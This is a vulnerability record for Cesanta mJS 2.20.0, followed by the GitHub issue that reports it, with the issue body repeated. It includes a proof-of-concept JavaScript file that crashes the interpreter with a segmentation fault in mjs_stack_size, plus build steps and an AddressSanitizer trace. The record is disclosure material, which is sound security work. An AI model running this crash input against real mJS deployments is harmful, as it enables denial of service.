Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_stack_size at mjs/src/mjs_core.c. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(function () {
    ((function JSEtes(a) {
        if (a > Object.create - (Object.create - -(a - 1) || ~(Object.create - -0))()) {
            if ((a - 1) || ~(Object.create - -0)) {
                JSEtes(a - 1)
            }
        }
    })(200))
})()
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==ERROR: AddressSanitizer: SEGV on unknown address 0x01827fff800a (pc 0x00000053f631 bp 0x7ffd7d96fcb0 sp 0x7ffd7d96f820 T0)
==The signal is caused by a READ memory access.
    #0 0x53f630 in mjs_stack_size /root/mjs/src/mjs_core.c:348:13
    #1 0x53f630 in mjs_arg /root/mjs/src/mjs_core.c:326
    #2 0x589a07 in mjs_op_create_object /root/mjs/src/mjs_object.c:270:23
    #3 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5
    #4 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11
    #5 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11
    #6 0x7fa839d17b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
    #7 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/mjs/src/mjs_core.c:348:13 in mjs_stack_size
==ABORTING
```

 SEGV mjs/src/mjs_core.c:348:13 in mjs_stack_size
This is a GitHub Issue
repo:mjs
owner:cesanta
Title :  SEGV mjs/src/mjs_core.c:348:13 in mjs_stack_size
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(function () {
    ((function JSEtes(a) {
        if (a > Object.create - (Object.create - -(a - 1) || ~(Object.create - -0))()) {
            if ((a - 1) || ~(Object.create - -0)) {
                JSEtes(a - 1)
            }
        }
    })(200))
})()
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==ERROR: AddressSanitizer: SEGV on unknown address 0x01827fff800a (pc 0x00000053f631 bp 0x7ffd7d96fcb0 sp 0x7ffd7d96f820 T0)
==The signal is caused by a READ memory access.
    #0 0x53f630 in mjs_stack_size /root/mjs/src/mjs_core.c:348:13
    #1 0x53f630 in mjs_arg /root/mjs/src/mjs_core.c:326
    #2 0x589a07 in mjs_op_create_object /root/mjs/src/mjs_object.c:270:23
    #3 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5
    #4 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11
    #5 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11
    #6 0x7fa839d17b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
    #7 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/mjs/src/mjs_core.c:348:13 in mjs_stack_size
==ABORTING
```

--- end body ---

comments :
--- start comments ---

--- end comments ---